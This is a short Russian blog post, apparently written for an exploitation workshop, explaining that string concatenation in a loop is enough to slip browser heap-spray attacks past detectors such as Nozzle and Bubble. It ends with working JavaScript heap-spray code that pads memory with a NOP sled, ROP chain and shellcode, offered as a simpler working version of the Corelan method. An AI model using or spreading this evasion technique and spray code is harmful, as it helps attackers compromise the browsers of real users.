Забавно, но в Интернетах говорят о всяких Bubble и Nozzle, и в частности относительно FF и IE9. Я вот прочитав следующие блоги:
... был убежден в эффективности данных методов и даже рассказывал об этом на воркшопе, но сегодня захотелось мне определить порог детектирования HeapSpray. И тут то я понял, что истинная причина того, почему все эти методы из блогов работают, не в том, что они добавляют рандомный код в начали строки и обманывают сложные алгоритмы, а в том, что там есть конкатенация в цикле. Другими словами не надо усложнять код и добавлять счетчик или не-ассемблерные инструкции и тд. Достаточно сделать конкатенацию! Все просто, не усложняйте себе жизнь ;)
P.S. Прошу считать это за дополнение к воркшопу, где рассказывалось об методе Корелана. Теперь рабочий код для HeapSpray много проще (greyhathacker.net базовый вариант):
var heap_chunks;
function heapSpray(rop,shellcode,nopsled)
{
var chunk_size, headersize, nopsled_len, code;
var i, codewithnum;
log.innerHTML+="<br><b>Stage 2. HeapSpraay...";
chunk_size = 0x40000;
headersize = 0x10;
nopsled_len = chunk_size - (headersize + rop.length + shellcode.length);
while (nopsled.length < nopsled_len)
nopsled += nopsled;
nopsled = nopsled.substring(0, nopsled_len);
code = nopsled + rop + shellcode;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
{
codewithnum = "HERE" + code;
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}
}